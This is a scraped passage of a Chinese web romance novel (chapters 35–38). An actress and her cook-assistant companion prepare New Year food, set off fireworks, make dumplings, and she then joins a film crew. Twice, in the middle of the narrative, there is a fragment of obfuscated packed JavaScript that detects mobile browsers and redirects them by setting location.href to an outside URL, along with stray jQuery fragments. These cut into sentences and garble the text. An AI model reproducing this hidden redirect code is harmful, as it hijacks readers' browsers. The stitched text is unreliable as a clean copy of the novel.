连着刷了好几天同类视频后,柏临渊拉上应璋开启了南方人学习北方过年的第一枪——去超市囤货。 买菜的时候应璋看着超市琳琅满目的各色菜蔬,不由感慨了起来。她小时候生活条件差,冬天的时候基本就只有萝卜、土豆、白菜吃,年节里家家户户都会准备各种丸子来迎接新年,最先准备的年货也是各色炸丸子。 只是应璋没想到,柏临渊会把她随口的感慨当成军令给执行了,备足了食材要在家里炸丸子。 作为地地道道的北方姑娘,应璋自告奋勇帮忙备菜。炒菜、调味她做好不,切菜洗菜还能做不好吗? 于是在应璋的强烈要求下,她争取到了剁萝卜的工作。 起初她还觉得好玩,化身双刀铁娘子对着萝卜潇洒挥刀,自信的节奏让她恍惚间也有种自己是大厨的错觉。 但是错觉破灭的很快,没过多久她就觉得掌根酸、手腕痛,就连小臂也跟着不舒服起来。 聪明的人类会使用工具! 应璋揉揉酸痛的手臂,火速下单了擦丝器请跑腿小哥送货上门。 厨房是真的没有这种东西。 柏临渊厨艺精湛,刀工也是一绝,又特别热爱烹饪。他连做油面筋塞肉的肉馅都要自己剁,家里别说擦丝器了,绞肉机都没有! 有了擦丝器后,萝卜丸子的备菜进度有了显著的提升!但也只是从巨累变成了微累,累百分之四十。 应璋下厨经验太少了,不过是凭借着脑海中童年备菜的经验买了手动的擦丝器,完全不知十几年过去,工具已经进化出电动的了!自然也错过了真正解放双手的机会。 等把萝卜山解决完毕,她的手已经酸的抬不起来了。怎么没有人告诉她,手动擦丝也这么累啊! 应璋捏着酸痛的手臂,回想起小时候和姥爷一起准备年货的过往。小时候条件差,吃得自然也不多,炸丸子对于年幼的她来说自然是极为美味的。 那时姥爷总会宠溺地准备许多年货,炸好的丸子多得可以用麻袋装。寒冷的东北室外就是自然的冰箱,大大小小的袋子堆在一起,汇成丸子的海洋。 原来她也曾被人这样深深的爱过。 在北方寒冷的冬日里,老人沉默地站在昏暗的厨房里,炸了一锅又一锅各色丸子。 老人不让应璋下厨,怕冬日寒冷的水和寒凉的菜冻着孩子,也怕厨房柴火燃烧的烟雾和油锅迸溅油花伤害到他最疼爱的外孙女。 那位不善言辞,又总是板着一张脸的老人,每到年节揉着胳膊备年货的时候,会想些什么呢? 就在应璋沉浸在回忆里时,准备好肉馅的柏临渊端了一盆豆腐站到她的面前。 应璋:…… 豆腐丸子也要今天一起做出来吗? 36. 豆腐 一盆萝卜丝备完,应璋只觉得骨头都是泛着酸的。但那可是豆腐诶!谁能拒绝徒手捏豆腐这种美事! 刚入行压力最大的时候,应璋每天都要抽一两个小时刷解压视频,就是那种把香皂切成细碎小块、用工具划太空沙之类的那种视频。 其实她也想去捏饼干方便面之类的做消遣,但是钱包不支持她大肆购入食品当玩具解压,而道德又约束着她不能把手伸向商超上的货物,因此只能望视频解渴。 后来很多营销号都用这种视频来做背景,她就不刷了。 没办法,看到封面脑子里已经自动生成那种断句都断不明白的奇怪AI配音了。 现在几大块豆腐摆在应璋面前,这让她怎么忍得住?就算是骨折了,她也能伸出两根手指出来攒豆腐。 捏豆腐这种事,只有第一下是最爽的。 手攥下去,整块豆腐在指缝间四分五裂,透过一次性手套留下湿凉的滑腻,很快盆里的几块豆腐就碎得看不出形状了。 “等一下!” 看到应璋打算把配菜加进豆腐的动作,柏临渊连忙放下手上的活计过来帮忙。 “怎么了?”应璋放下盛着芹菜碎的盘子,有点不明所以。 “豆腐要弄得再碎一点,这样后面调味之后口感才会好。”柏临渊换上新的手套,从应璋的身侧伸出手来帮忙,“像这样,多捏几遍。” 装豆腐的盆不大,应璋双手浸在盆里尚有活动的空间,但柏临渊的手加进来后,活动的空间便显得有些逼仄了。 “啊?你怎么能弄得这么细腻?”应璋大惑不解,“我也是这么捏的,怎么没这么细腻?” “可能是发力不对?”柏临渊微微抬手,“不要捏,要攥,像这样。” 应璋试图复刻:“这样?” “不是。”柏临渊手覆在应璋的手背上,帮她调整好手型,裹着她的手微微发力,“这样。” “哦哦哦!我学会了!” 应璋的注意力全在豆腐上,对覆在手背的大手视而不见。 柏临渊看着面色如常的应璋,讪讪收回了手:“累不累?我来弄吧。” “还行,挺好玩的。” 应璋自觉掌握一项新技能,正是上头的时候,哪里舍得放手。 “正好刚刚剁萝卜剁得手酸,现在活动活动手指挺好的。” “好,累了和我说。”柏临渊帮应璋提了提快滑到手腕的袖子,“说好的家务全包,你现在干得可都是我的活。” 应璋手上动作不停:“那还不快说谢谢应璋大人。” 柏临渊立刻肃颜,起身便拜:“谢谢应璋大人!大人万岁万岁万万岁!” “咳……” 看着柏临渊一板一眼的动作,应璋没绷住,咳嗽起来。 两人说说闹闹地备着年货,应璋的电话响了起来,是蒋卫的电话。 刚一接通,蒋卫激动的呜呜呜就顺着信号传了过来,应璋听了半天才从全是感情的长篇大论里找到重点。 “《明月雪时》火了?这是好事呀!”应璋笑了起来,“我记得蒋导和平台签的是分成合同?这下您不用愁下部剧的投资问题了。” “不愁了不愁了。”蒋卫乐得呲着大牙,恨不得去给up主撷英磕上两个,“我这就去给那个up主充电!等过年我给大家发红包,大红包!” “好!那我就等蒋导的大红包!” 蒋卫的电话像是一个开幕式,这通电话之后就是各方来电,络绎不绝的恭贺和询问直接把手机打到低电量自动关机了。 柏临渊一边攒丸子,一边竖着耳朵听着外面的动静,时不时出去倒个水、放点零食,中途还上网冲了会浪,试图搞明白到底发生了什么。 好不容易在好心人的指路下摸清了事情的来龙去脉,柏临渊连忙找跑腿买了鲜花蛋糕礼花,打算等应璋忙完给她搞个庆祝仪式。 谁知道等到奶油都有点塌了,应璋那边还在一个电话接一个电话地应酬。 看着被赞誉和喜爱包围的女孩,自卑和恐惧像是择人而噬的巨蟒一样缠绕上来,而柏临渊就是那个被巨蟒锁定伺机绞杀的猎物。 “没关系的,我快好起来了。” 柏临渊盯着腕表上的健康提示,一边深呼吸,一边小声哄着自己。 “我会好起来的,也会当一个合格的助理,我是最会照顾她的人。” 等应璋把关机的手机送进卧室充电后,柏临渊已经吃了药并哄好了自己,正端着一直温在灶上的糖水敲响了应璋的房门。 “我可以进来吗?” “可以!”应璋一边擦脸,一边打开了门,“这一下午差点没把我干死,一直在讲话,说得我嘴巴干,脸也干。” “可能空调开得太大了,我等会调一下。”柏临渊抬了抬手上的碗,“我炖了竹蔗马蹄水,加了一点梨膏,给你润润嗓子。” “哇!真是雪中送炭!” 伸手去接碗的应璋很想给贴心的柏临渊比上一个大拇指,但手比脑子快的她只能捧着碗用嘴巴夸夸夸。 被哄成翘嘴的柏临渊嘴角都压不住了,还坚持着让应璋先休息一下:“先把糖水喝了吧,歇歇嗓子,都哑了。” “好!” 应璋捧着碗呲溜一下就窜到客厅,坐在沙发上美美享用起来。 糖水温润清甜,一口下去撕磨的声带也不难受了,果香带着微微的酸,刺激得口腔直冒口水,但冰糖的柔和又很好地抚慰了这股酸意。 想到年后入组严苛的演员食谱,应璋珍惜地又喝了两大口。 “马蹄还有吗?想吃马蹄了。”应璋捧着碗,发出了讨食的声音。 柏临渊点点头:“还有,我去给你盛。” 应璋大喜,亦步亦趋地跟进了厨房。 金灿灿的丸子堆放在大大小小的碗盘中,看起来诱人极了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599972|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 社交也是劳动,应璋看着这一厨房的年货哪里还忍得住,扭头就开始找筷子。 “不行,你现在不能吃。” 共同生活了这么长时间,柏临渊把应璋的小动作、小习惯摸得一清二楚。 “你嗓子都哑成这样了,再吃这种油炸的,今晚就上火,明天就说不出话了!” “我就吃一个!就一个!”应璋连忙举起碗示弱,“大不了我多喝几碗糖水嘛!” 招架不住应璋撒娇的柏临渊不由开始反思,他刚刚的语气是不是有点凶了?于是坚定的立场微微动摇…… “那就只能吃一颗!” “好!” 应璋夹起豆腐丸子就往嘴里送。 刚炸好的丸子外酥里嫩,牙齿与外壳碰撞,炸物的脆响带着美拉德的焦香直冲味蕾。柔软细腻的豆腐没有了外壳的束缚,伴随着牙齿的力度迸入口腔,带着微微的烫和浓浓的咸香。 细腻的豆腐里有切得极碎的胡萝卜丁和芹菜丁,吃起来口感极为丰富。应璋有些意犹未尽,筷子直直地伸向盘子…… “不行,说好只吃一个的!” 严格的助理小柏上线,拦住了应璋伸向豆腐丸子的筷子。 “那我再吃一个萝卜丸子总行了吧?”应璋眼睛一转,开始耍赖,“刚出锅这会味道最好,让我尝一个呗?” “不……不行。” 柏临渊被应璋水润润的眼睛晃了一下,但很快就找回立场,断然拒绝。 “萝卜丸子已经炸出来很久了,并不是刚出锅的,下次我再给你炸新鲜的。” “好吧……”应璋往萝卜丸子的方向挪了一步,试图转移话题,“那你去帮我盛点马蹄,我当水果吃。” 浑然不觉自己中了调虎离山之计的柏临渊呆呆点头:“好。” 等柏临渊端着碗转身,嘴里塞着萝卜丸子正在嚼嚼嚼的应璋就被抓了个正着。 死嘴!快嚼啊! 贪心的一口塞了两个丸子的应璋就这样被柏临渊赶出了厨房。 看着厨房大门紧闭的应璋只能捧着马蹄糖水继续嚼嚼嚼。 都快过年了,怎么还不让吃了呢! …… 《明月雪时》的出圈也不只是给应璋增添了许多交际,还带来了很多机会。 随着应璋的爆火,她的过往也被网友们和营销号拉出来盘点了一圈又一圈,不少嗅觉敏锐的公司和剧组察觉到了商机,热情地发来各种邀请,她的手机号、通讯号和邮箱里每天都能新增海量消息。 这日子也太吵了。 应璋的免打扰模式开启后就再也没关上过,现在她只想赶紧过完年躲进陈继忠导演的剧组。 大剧组的安保很好,而且她们还有很多外景要去人迹罕至的户外去拍,等她进组了,就能好好躲一躲这些乱七八糟的各方人士了。 不过在此之前,她要把手机关禁闭,先过个好年。 37. 除夕 很长一段时间里,对于应璋而言,除夕都意味着窝在出租屋吃火锅。 年节是相聚的日子。 对于小应璋而言,年节就是整个武行爷爷伯伯凑在一起热闹吃饭,姥爷年迈的脸上会有平日里不常见的轻松和快意。 然后全场最小的小辈应璋就要被全场的长辈们一一教考,再塞上一个或许并不丰厚但却盛满祝福的红包,众人一边嘻嘻哈哈地恭贺着姥爷后继有人,一边和老人家拼酒。 现在再回想起那段日子,应璋已经记不真切了,但还能依稀回想起当时快乐的心情。 只是在姥爷过世后,昔日的爷爷伯伯们基本也不在人世或断了联系,渐渐应璋就变成一个人了。 剧组生活忙忙碌碌,没有人会在意一个不起眼的小糊咖。好朋友们又有各自的家庭和生活,应璋也融不进去,慢慢也就养成自己过年的习惯了。 除夕夜一到出租屋,把空调温度打到最高,再煮上一锅热气腾腾的火锅,这样一个人也还算热闹。 时间一久应璋也就习惯了这样的生活,即使后来莫伊倪邀请她一起去莫伊倪家过年,她也找借口推掉了。 清创太疼了,维持现状或许不失为一个好选项。 但是今年不一样,今年多了一个话不多但是能把日子过得很热闹的室友。 柏临渊从腊月二十七就开始忙活了,像只忙碌的工蜂一样,每天在厨房里穿来穿去,还神神秘秘地不让应璋进厨房帮忙。 除夕夜天还没有黑,应璋已经被柏临渊拉上了饭桌。 平时里藏在桌下的折叠部分被拖出拼好,长桌上各色菜肴满满铺开,菜色从北到南应有尽有,食材水陆空悉数覆盖,就算说是满汉全席应璋也会相信的。 看着眼前丰盛的大餐,应璋有些茫然:“这是要吃到十五吗?” 柏临渊把人按在桌边坐好,把保温罩一一揭开:“每种菜分量都不大的,米其林菜量。” 应璋定睛望去,确实都是每道菜吃不了几口就没了。 “今天好好尝尝口味,喜欢哪个跟我说,我再给你多做一点。” 柏临渊抱了一个小坛子出来,又取了一个竹筒开始盛坛中的液体:“上次你说冬酿酒好喝,我自己做了一点你尝尝。” 这也太贤惠了…… 还没喝到酒,应璋已经开始脸红了。 “那我可要大吃特吃,柏大厨辛辛苦苦做了这么大一桌,我肯定全都吃光!” 受姥爷的影响,应璋并不是那种爱说教指点的性格。比起挑剔柏临渊为什么做这么多这么复杂的菜式,她更看重他用心筹备年夜饭的心意。 就算柏临渊这二十多道菜全都按照正常菜量做,从初一一直吃到十五,应璋也只会夸他厨艺高超居然能做出这么丰盛的年夜饭。 “不要勉强,不要撑坏了胃。”柏临渊嘴上这么说着,但上扬的嘴角还是暴露了他的好心情,“我还做了咸汤圆,你要是吃不习惯,晚一点我们包饺子,是你最喜欢的虾仁水饺。” “不勉强不勉强。”应璋举起酒杯冲柏临渊举杯,“今天允许你暂停一顿药,陪我一起喝酒。” 柏临渊配合地举起酒杯,眉眼弯弯:“好,我们一起喝酒。” 没有冗长的餐前讲话,只有杯子碰撞的脆响。 酒桌上常有人说“一切都在酒里了”,应璋一直认为这是讲不出话的托词。话不讲出来,怎么能明白彼此在想什么呢? 但此刻,应璋是真真切切地感受到什么叫“一切尽在不言中”,于她们而言,此刻讲什么都略显多余。 白椒炒肉肥瘦得宜,炸制过的肉片被辣意中和,肥而不腻;红烧肉浓油赤酱,漂亮的糖色裹着炖到软烂的肉块,入口即化;火腿百合酸酸甜甜,口感极为清爽;肉沉子咬开肉汁肆意,满口鲜香…… 应璋这还是第一次这种地道的婺州菜,即便是吃惯了柏临渊的手艺,还是会眼前一亮。 长久以来,柏临渊都没有真正的食客。 家人在饭桌上满是说教和安排,师门的众人也都是三言两语就拐回实验室,就连钟老师一家在夸赞之余,也会把话题绕回他身上。只有应璋,会全身心地沉浸在他的食物里,会认真品评食物的味道,称赞他的手艺和用心。 柏临渊抚着胸口,那里是纯粹的喜悦和欢欣。在共感的作用下,柏临渊能特别清晰地感知到应璋的情绪,那是一种不掺杂任何杂质的、澄澈的喜欢。 花雕鸡是喜欢,蟹黄干捞粉丝是喜欢,锅包肉是喜欢,水晶猪皮冻和雪面豆沙也是喜欢。 伴随着应璋边吃边夸的动作,柏临渊觉得好像他也是被喜欢着的,于是心情也跟着好起来了。 应璋感受到柏临渊的好心情,很自然地把这归功于她的好胃口。 一定是我这个食客捧场捧得好,他才这么高兴! 美美地在心里夸了自己一顿后,应璋继续对着柏临渊夸夸夸。 “我都能想象得到等会点开朋友圈,我能收获到多少羡慕嫉妒恨的点赞评论了。” 应璋捧着酒杯小口抿着杯子里的酒液,感受气泡在口腔中炸开带来的微微刺痛,语带得意:“要是你把年夜饭做成美食视频,肯定一夜冲到W站热门。” “唔……”柏临渊学着应璋的动作抿着酒,歪头想了想,“你想看吗?我拍了很多素材,过两天可以剪个vlog出来。” “想看!”应璋配合举手,“我要做第一个观众!还要点赞投币收藏一条龙!” 柏临渊笑了起来:“好。” 酒足饭饱之后,柏临渊按住了应璋打算帮忙收拾杯盘狼藉的手,把人带到了客厅。 “我没放过烟花,随便买了一点。你好好研究一下,等我收拾好了,我们出去放烟花。” “好!” 挥手送柏临渊回厨房,应璋才看向柏临渊说的“随便买了一点”。 这些后备箱装得下吗?他到底是怎么运回来的? 两人住的小区虽然有点偏,但也在禁燃的范围内。两人头挨着头研究了好半天,才找到了一处不算太远但是可以放烟花的安全区域。 鉴于柏大厨今天劳苦功高,这一路的车都是应璋开的,专注开车的她一路都在开心哼歌,完全没有注意到柏临渊频频瞄手心的动作。 这一路车不多,两人很顺畅地就到了郊区。这边有一个绿化很差的小广场,应璋找了个平坦开阔的地方开始往外搬烟花。 看着应璋忙碌的身影,柏临渊自然不能袖手旁观,撸起袖子一同加入了搬运大军。两个人来来回回好几趟,才把所有的烟花摆好。 把应璋拉到最佳观赏位,柏临渊点燃烟花的引线,小跑着赶了回来。 最先放的是一种叫“火树银花”的烟花,主体短粗沉重,但是能喷出一人多高的花树,闪耀一方黑暗。 柏临渊喘着粗气,努力平复着因运动而错乱的呼吸和心跳,组织着语言打算想借烟花说一些藏在心里的话。结果他刚一抬手,就发现手上空空如也——之前仔细斟酌字句的字条小抄了无踪迹。 没事没事,他在手心也写了一份。 柏临渊一边给自己打气,一边借路灯的光去看手心的字。不看不知道,一看心碎掉——手心的小抄被手汗晕花了。 心凉了半截的柏临渊鼓起勇气,想在烟花燃起的时候去抓应璋的袖子,结果身后的烟花发出奇怪的声响,呲出几缕半亮不亮的光束就哑火了。 柏临渊:…… 应璋看着柏临渊小跑过来,伴着烟花一起哑火的样子,不由失笑。 是因为烟花没放成功而失落吗?想一想还怪可爱的。 懊恼和失落顺着共感一起传来,应璋看了看不作声的火树银花,把脚边的加特林烟花分给柏临渊两只,拉着他找了一处还算松软的土堆,蹲下身子开始吧烟花往地上插。 “为什么要插在地上?”柏临渊不解,“我看网上都是手持着放的啊……” “燃放烟花前不仔细阅读使用说明吗?”应璋反手敲了敲柏临渊的小臂,“这个只能插在地上,手持?不要命啦?” “哦……” 柏临渊被训得低下头,想起那排哑火的火树银花,突然反应过来,是不是因为他没仔细看说明,烟花才会哑火呢? 挫败感打败了失落,占据了柏临渊的思绪。 “快快快!”应璋扯过柏临渊的袖子,“帮我点两个,等会要跑八米外看!” 来不及整理思绪,柏临渊糊里糊涂地跟着应璋的动作点燃引线,像是一个机器人一样,一个指令一动。 应璋感受到了柏临渊的糟糕情绪,但她并不想在这样快乐的日子里让两个人一起卷进糟糕的情绪里,只好把原本压轴的加特林烟花提前拿出来,用这个复杂的大家伙分散柏临渊的注意力。 这种大烟花放起来并不容易,引线有点粗,并不像普通烟花那样容易点燃。等四个加特林烟花的引线都被点燃后,用来跑的时间便显得有点紧张了。 “跑跑跑!” 一把扯住被情绪影响而显得有些呆滞的柏临渊,应璋扯着人用大学跑一百米的速度往外冲。 冬天的风很冷,带着南方特有的阴凉刮着皮肤,刺得生疼。极速奔跑带来呼啸的风声,猎猎的声响盖住了很多声音,也盖住了很多情绪。 两人停下来转向身后时,加特林烟花的引线刚好燃尽,在急促的喘息声中,爆竹炸裂的声音响起,大量炫彩火花划过天空,炸出星子般的碎光。 应璋很多年没有这样近距离地放烟花了。 许是受到了节日喜庆氛围的感染,一段小时候逛市集买烟花的回忆突然在脑海中浮现,久违的记忆唤醒了童稚的喜悦,应璋忍不住对着烟花像个孩子一样蹦蹦跳跳起来。 不知道不是运动释放了压力,看着身旁灿烂的笑脸,柏临渊攥了攥扔留有少女余温的掌心,突然发现那些阴湿的、沉重的、让人无法思考的情绪一下子淡去了,觉得就像现在这样也很好。 那些复杂的思绪是他一个人的,应璋能这样开心就很好了。 他不会用自己的情绪去绑架另一个人的情绪。 这样就很好了。 情绪一百八十度大转弯藉由共感让应璋感受的清清楚楚,她下意识回头,对上柏临渊温和含笑的眼睛,也跟着笑了起来。 “柏临渊!你看这些炸开的烟花,像不像爆米花?” 焰火轰鸣中,应璋把手围成一个小喇叭,冲柏临渊喊话。 只是加特林烟花持续的时间并不算太久,等应璋喊到最后一句时,爆竹声已歇。于是那句“像不像爆米花”就变得格外清晰。 “噗——” 不知道为什么,柏临渊突然觉得很开心,没绷住笑出了声。 应璋:这人怎么笑得这么大声? 应璋原本并不在意柏临渊的笑,但是发现这人越笑越大声,好一会了也不见收声,羞恼后知后觉地冒了出来。 “行了!”应璋追上去拍柏临渊,“有那么好笑吗?” “哈哈哈哈——”柏临渊抱着肚子,身子躬成虾米,边笑边跑,“对不起……你刚刚……太可爱了……” ???< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649418|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 应璋一头雾水,但觉得这笑声并不像什么好话,于是抬腿便追。 两个人笑笑闹闹好一阵,才把剩下的烟花一一点燃。 收拾好所有烟花燃尽残局后,到家已经是凌晨了。 刚走到单元楼下,就听到新年的钟声从渺远的地方传来。 应璋:“新年快乐!” 柏临渊:“新年快乐!” 两人异口同声互道祝福,又望着彼此笑了起来。 “要不要包饺子?” 应璋揉揉肚子,感觉年夜饭炫进去食物都被消耗了个七七八八,饥饿感若有似无,让人分不清到底是饿还是馋。 “好啊,包饺子。”柏临渊翘起嘴角,眼里是掩饰不住的笑意,“要不要吃爆米花?应该可以做焦糖味的。” “吃!” 从放烟花开始,应璋就惦记上这一口了,哪有好吃的到嘴边还把他放跑的道理? 柏临渊笑着进了厨房,翻出材料起锅烧油。 等在油锅升温时,一股疲惫感涌上心头,柏临渊盯着透明锅盖下一颗一颗炸开的玉米粒,突然难过起来。 爆米花的声音和放烟花很像,但是远没有放烟花热闹。应璋的声音隔着厨房门,被油烟机的电机抽得支离破碎。 是在和谁聊天呢? 莫伊倪?导演?还是哪个求合作的演员? 刚把自己哄好的柏临渊,现在又一次被糟糕的情绪吞噬了。锅里的声音停了好一阵,甚至带了隐隐的焦味,柏临渊的双眼却渐渐失焦,思维渐渐也涣散了起来…… 客厅里,和好姐妹互诉新年祝福的应璋没由来地心慌了起来,正巧莫伊倪被家长叫去帮忙,应璋便顺势挂了电话,往厨房走去。 看到柏临渊失焦的眼睛,应璋暗叫不好,一个箭步冲上去关火、抢锅拽人一气呵成。硬是把柏临渊拽出了几分清明。 玉米焦糊的气味弥漫在整个厨房,呛得人眼睛生疼。 “对不起……” 柏临渊这才意识到他又没控制住情绪,惶恐和自责涌上心头,他垂下眼睛,不敢看应璋的表情。 应璋没说什么,只是把锅放回灶上,拉着柏临渊出了厨房。 “我只是不小心……不是……我……”柏临渊试图解释,但语言模组加载失败,只能吐出一些破碎且无意义的词句。 “慌什么?” 应璋语气一如往常,仿佛柏临渊并没有不对劲,也没有差点炸厨房,声音平静得好像在说今天是周二一样。 “没吃药觉得累很正常啊,况且你做了那么大一桌子菜,又陪我跑那么远放烟火,不舒服才正常吧。” “来来来,我们包饺子。”应璋把擀面杖塞进柏临渊手里,撸起袖子开始揉面,“等会你擀饺子皮,我包饺子,手速快一点,我包饺子很快的!” 柏临渊愣愣地接过擀面杖,像是一个无助的家庭煮夫,一只手卷着围裙不知道说什么。 应璋性子急,很快就把剂子分好了。 “别抠围裙了,过来干活。” “好。”柏临渊总算回神,开始忙活起来。 面剂很快变成一张张厚薄均匀的饺子皮,应璋一边包,一边和柏临渊聊天,分散他的注意力。 “看,这个花边好看吗?” 柏临渊循声望去,白嫩的饺子圆润饱满,波浪形的花边褶皱均匀,看起来倒有几分可爱。 “好看。”柏临渊诚恳出声,“我还不会包这种花边饺子。” “我教你呀!” 应璋突然有点兴奋,没想到厨房菜鸟也有能教厨房大佬的一天。 “这样先对折,然后把边缘对齐捏紧……对……然后从下面开始,捏住一个小角往内折……” 受躯体反应的影响,柏临渊还不太能控制自己的动作,擀饺子皮的时候还好,等需要手部精细动作时便显得艰难了。 应璋像是没注意到柏临渊的不对劲,什么都没说,就像在进行正常教学一样,扶着柏临渊手把手的教,陪他一个一个捏花边。 案板上的饺子从歪歪扭扭逐渐规整,柏临渊的肌肉也渐渐听话起来,不再颤抖和抽搐。 感受到逐渐平和下来的情绪,应璋松了口气,端起饺子就往厨房走:“等会咱们吃饺子,吃完之后我吃复合维生素你吃药,记得提醒我。” 柏临渊点头,跑去药箱掰药倒水,俨然一副乖巧执行命令的样子。 一个羞于提及,一个假意忽视,这场发病的小风波就这样隐藏到了年节的角落,两人又恢复起了往日的生活节奏。 也不算完全恢复吧,柏临渊在这几天变着法地做好吃的,经不起美食诱惑的应璋来者不拒,吃得不亦乐乎。 来者不拒的直接后果就是,应璋在这一个年节里胖了六斤。脸上虽然胖的不多,但是腰围直接暴涨8公分,就算全程保持核心收紧也没能瘦多少。 从除夕吃到初六,马上要到去剧组报到的日子了,应璋才意识到这个严肃的问题。 看着镜子里不甚清晰的下颌线,应璋打开前置摄像头,对着脸“咔嚓”一张。 “呼……”应璋松了口气,“还好还好,吃两天草应该脸上就不怎么明显了……” “怎么了?吃什么草?”路过的柏临渊听了一耳朵,没弄清楚到底发生了什么。 “过年长胖了,这不是要进组了,需要紧急控制一下脸上的肉。”应璋在心里默默计算着接下来的运动量,暗自叹息。 “我来!”柏临渊双眼放光,“我帮你搭配健康饮食,保证好吃、低卡!” 38. 焦虑 《明月雪时》给应璋带来的影响远比她以为的还要大。 女三号原本应该在剧作中并不占优势,大热剧集捧红的一般都是男女主或者副线cp,像程钰这样感情线几乎没有的工具人是很难吃到热剧红利的。 但是应璋太特殊了。 即使往前倒三十年,刀马旦在演艺圈也是少数。等大量资本涌入这个圈子之后,能扎扎实实自己拍戏的演员都不多,更遑论能真刀真枪亲自上阵的了。 其实应璋在当糊咖的这些年已经对圈子里的奇怪生态见怪不怪了:记不住台词乱说一气的、演技外放到五官都在脸上飞的、每天打卡一样露个头基本全靠替身拍的、主演们各拍各的不在一个图层的…… 观众或许不挑嘴,什么都能吃两口。但观众又不是傻子,敷衍的粉丝特供和用心精良的作品总是可以分辨出来的。 特效下无力又虚浮的动作和用心排演训练后的动作有着本质上的区别,武侠类作品的精髓就在于“武”,有就是有,没有就是没有。 就像老剧中绝世美女出场自带震慑人心的美貌一样,近些年拍绝世美女主要靠旁白和配角棒读。肉眼看到的美貌震撼能和旁人干干巴巴地“你好美啊”的吹捧一样吗? 武戏也是一样的。 剧情需角色有盖世武功,结果角色动作软绵绵,看起来还不如第八套广播体操有气势,这怎么能说服观众呢? 程钰一角能受到观众的喜欢,得益于应璋的真诚与角色的独特,属于现今社会很难复刻的爆款。 一时间同类的本子与各方邀约纷至沓来,凭借“程钰”这个角色,应璋现在已经隐隐有三线演员的气势了。 不仅是应璋的爆火出人意料,《明月雪时》的成绩同样令人咋舌。 谁能想到,这个成本不到八位数的网剧能一鼓作气杀进寒假电视剧热榜前三呢? 自从爬上总榜热度第三后,《明月雪时》就牢牢住在了榜上。不管其他剧集有多少粉丝支持、有多少凌晨激增的播放量,《明月雪时》一直在总榜前十没出去过。 每天白天看热度掉到前十尾巴的《明月雪时》一点点往上爬,已经是寒假档吃瓜群众每天必打卡的乐子之一了。 其实《明月雪时》并不是多么优秀的剧集,毕竟成本摆在那里,服化道和镜头能展现出来的极为有限,跟早些年拍摄的那些被观众盘到包浆的各类剧集完全没法比。 但正常的选角、有趣且合理的剧情、加上众人及格线以上的演技,让《明月雪时》在一众癫剧中脱颖而出—— 校园剧《恰逢少年时》主角团除了学习什么都干,悬浮的跟校园毫不相干;仙侠剧《凰嫁》玛丽苏味十足,所有人爱来爱去,让人弄不清主线剧情到底是什么;压了三年的玄幻巨制《神魔传奇》特效看起来像是三十年前的,网友大呼看这个不如看儿童特摄片;都市剧《靓丽的生活》几乎就是男女主的二人转,配角的戏份被剪得支离破碎,在W站被各类博主吐槽出几十页…… 真是应了L总的那句话——友商都是傻X! 蒋卫每天两眼一睁看着《明月雪时》的榜单排位就是傻笑,每天塞到他面前的本子和邀请多的让他眼花缭乱,他也算正式迈进圈子里了。 只是这些剧本十有八九都是垃圾。 有的不知所云,比《尤利西斯》还要意识流;有的就是对高分或者国外剧作的拙劣模仿,满篇诡异逻辑看得人头疼;有的前言不搭后语,让人怀疑自己看得到底是不是剧本…… 还不如他在学校看的那些学生习作呢! 蒋卫这里的热闹应璋不得而知,为了躲各方信息,她换了手机卡,又申请了新的私人微信,慢慢也远离了这些纷扰。 等她带着柏临渊到了陈导的剧组,她才意识到,她好像升咖了。 最直观的感受就是,走到哪里都会有人叫她应老师,不论是剧组工作人员,还是艺人和他们的团队,都会主动和她打招呼,甚至有不少艺人的经纪人或直接或迂回地问她是否愿意签他们公司。 应璋:……这就是热播剧的威力吗? 说来有点好笑,应璋在来剧组报道之前努力减肥,到了剧组陈导的第一句话却是“你怎么过年都没有吃胖!”…… 应璋:白减了…… 应璋在这部剧中女扮男装出演将军,戏服连甲胄带武器能有二三十斤,太瘦的身形就算是加上垫肩也撑不起来。高标准严要求的陈导哪能放任这样的事情发生?直言让她在观摩学习的这段时间先胖个五斤看看。 柏临渊:很棒的要求,立刻执行! 影视城的空间不大,导演组对应璋的优待也不过是给她分了一个套房。主卧外面有个面积不大的小隔间,采光和通风都不算好,于是应璋又在楼上给柏临渊重租了一个类似酒店式公寓的房间。 但是柏临渊只把那个房间当厨房,人还是高高兴兴地住进了应璋房间外的套间,这贴身助理他是真当啊! 不知道是应璋人气起来了,还是大家素质高,大家态度都十分友好,整个剧组的氛围都很和谐。 应璋演技青涩,还是反串,自然就成了陈导重点关注的对象,目前处于一个走哪带到哪的阶段。 能分到陈导亲自带的这个组的,基本都是戏份偏重的角色,导演讲起戏来自然也细致得多。 陈继忠是拍电影出身,对镜头语言和角色表达有自己的一套理解。大导光环让他在剧组里颇有话语权,演员们对他的指导认可度颇高,就算观点不一致也都是有商有量的来。 跟着陈导身边,应璋像是在上名师小班课,一堆名师对她一个差生的那种小班。 作为整部作品的核心,陈峰的戏份是最重的,也是应璋重点学习的对象。视帝下一步据说要拍武学宗师,最近有事没事都会跟应璋学学武术,每天早起跟应璋一起练基本功和身法。 当然了,作为回报,陈峰也会在自己空闲的时候带着应璋顺剧本,陪她磨演技细节。 持续一段时间后,应璋的演技和柏临渊的危机感都直线上升。在应璋对李飞元一角渐渐有了她的理解和感悟的同时,柏临渊对他的定位和角色也渐渐焦虑起来。 